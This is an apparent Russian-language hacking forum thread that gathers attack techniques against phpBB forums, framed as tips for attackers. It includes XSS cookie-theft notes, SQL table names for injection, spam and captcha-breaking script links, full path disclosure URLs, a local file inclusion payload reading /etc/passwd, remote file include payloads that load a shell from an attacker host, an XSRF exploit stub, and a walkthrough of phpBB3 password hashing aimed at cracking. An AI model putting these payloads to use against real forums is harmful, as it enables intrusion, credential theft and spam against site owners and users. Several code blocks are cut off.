![]() |
Дополнительное исследование
- алгоритм хеширования поможет вам восстановить исходный пароль по хешу md5(password) - время сессии позволит вам оценить валидность сессии при XSS-атаке [в разработке] - содержание хеша пароля в куках позволит вам получить пароль при успешной XSS-атаке до phpBB 2.0.18 включительно присутствует содержание хеша пароля в куках - вход в админку по куке позволит вам войти в панель администрирования с кукой без знания исходного пароля до phpBB 2.0.18 включительно возможен вход в админку по куке - имена таблиц\столбцов sql позволит вам успешно провести SQL-inj phpbb_ phpbb2_ - IE security cookie [ setcookie() http_only ] позволит вам правильно выбрать метод XSS атаки(document.cookie, document.location, TRACE) [в разработке] - x-forward-for, client-ip, referer позволит вам анонимно оставлять сообщения на форуме, проводить XSS-атаку, проводить SQL-inj Неуязвимы версии выше phpBB 2.0.8 - CSRF(HTTP Response Splitting, Request Forgery) позволит вам выполнить специфическую XSS-атаку В phpBB <= 2.0.21 недавно найдена подобная уязвимость - см выше. |
Флудер форума phpBB
Следующие сторонние наработки для любителей пофлудить: 2.0.21: _http://www.inj3ct-it.org/exploit/phpbbasf.txt <=2.0.21: _http://www.inj3ct-it.org/exploit/phpbb.txt Cкрипт распознавания captcha в phpbb Cпам-скрипт для phpBB] |
Как отличить последнюю версию второй ветки (2.0.22) от остальных?
2.0.21 или 2.0.22?
Как отличить последнюю версию второй ветки (2.0.22) от остальных? (пост восстановлен) Очень просто. До последней версии был баг (не инъект!) в лимите во всех скритах, где присутствовал постраничный вывод на экран. Например, в скрипте viewforum.php, который и рассмотрим. Определить можно, добавив параметр start=-1 в адресной строке, например, к viewforum.php То есть, если есть ccылка вида: http://forum/viewforum.php?f=32 Набираем: http://forum/viewforum.php?f=32&start=-1 Если вываливается с ошибкой - версия <=2.0.21 Если нет - 2.0.22 Код:
P.S.S На forums.overclockers.ru стоит не 2.0.22 (ну или сильно криворукий обновляльщик) ;) |
Full path disclosure:
profile.php?mode=viewprofile&u=2&ranksrow=abcdabcd faq.php?mode=bbcode&faq=abcdabcd viewtopic.php?p=6&highlight=\abcdabcd admin/admin_disallow.php?setmodules=1 db/oracle.php viewtopic.php?t=395&postorder[]=kala memberlist.php?mode[]=cx memberlist.php?start=-1 privmsg.php?folder[]= profile.php?mode[]= posting.php?mode[]= groupcp.php?mode[]= modcp.php?mode[]= index.php?category_rows=aaaa profile.php?mode=viewprofile&u=2&ranksrow=aaaa faq.php?faq=aaaa |
PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.
PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln
Код:
http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwdPNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability Код:
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?(c) |
phpBB 2.0.22 Remote PM Delete XSRF Vulnerability
XSRF Vulnerability
Vulnerable: phpBB 2.0.22 Exploit: Код HTML:
<html> |
Хэши из phpBB3
Есть предложение к спецам по PHP - проанализировать исходники phpBB3 (функции хэширования опубликованы здесь:
http://forum.insidepro.com/viewtopic.php?t=1685) и выяснить точный алгоритм хэширования паролей. А я бы новый модуль написал к PPro. ;) |
Если в 2-х словах (вкратце не получилось):
имеем хеш: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70 (пароль 123456) соль от него 5MMFvTU4 (8 символов, начиная с 5-го) Делаем такой цикл: (убрать 2 пробела после ..klmn) $salt='5MMFvTU4'; $password='123456'; Код:
$settings='$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70';Ну, и, наконец, чтобы получить из этого бинарного хеша строку Lm1sASItv4J5HWXk18HW70 (первые 12 символов не в счет, их отбрасываем), прогоняем его через следующую функцию ($input это полученный ранее $hash): Код:
function _hash_encode64($input, &$itoa64)Примеры: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70:123456 $H$9ZKl5LLDygA/c8AGXcpWk7bRnHQQ.U0:testing $H$9Uh5EWFcQEmJPaWy/7wsyzMPN4.jS3/:123321 где первые 4 символа $H$9 сигнатура хеша по умолчанию. $H$9 присутствует всегда, хотя его и можно и менять прямо в коде (я имею ввиду последоватльность $H$)... Я бы сделал префикс другой ) чтобы никто не догадался ______________________________________ P.S. Этот алгоритм применяется начиная с версии phpBB3 RC5. До этого везде был md5 |
Basurman, спасибо за разъяснения!
Модуль для этих хэшей я написал и он уже доступен в архиве с PPro на моем сайте, файл MD5(phpBB3).dll, 15 кБ. P.S. Т.к. сигнатура этих хэшей ("$H$") не участвует в хэшировании (в отличие от MD5(Unix), к примеру), то я на всякий случай сделал так, что модуль поддерживает любую сигнатуру. P.P.S. Еще раз спасибо за помощь! |
Удаленный инклуд в модуле 123 Flash Chat Module for phpBB
RFI
Уязвимые скрипты: PHP код:
Код:
www.site.com/path/123flashchat.php?phpbb_root_path=[shell] |
| Время: 10:31 |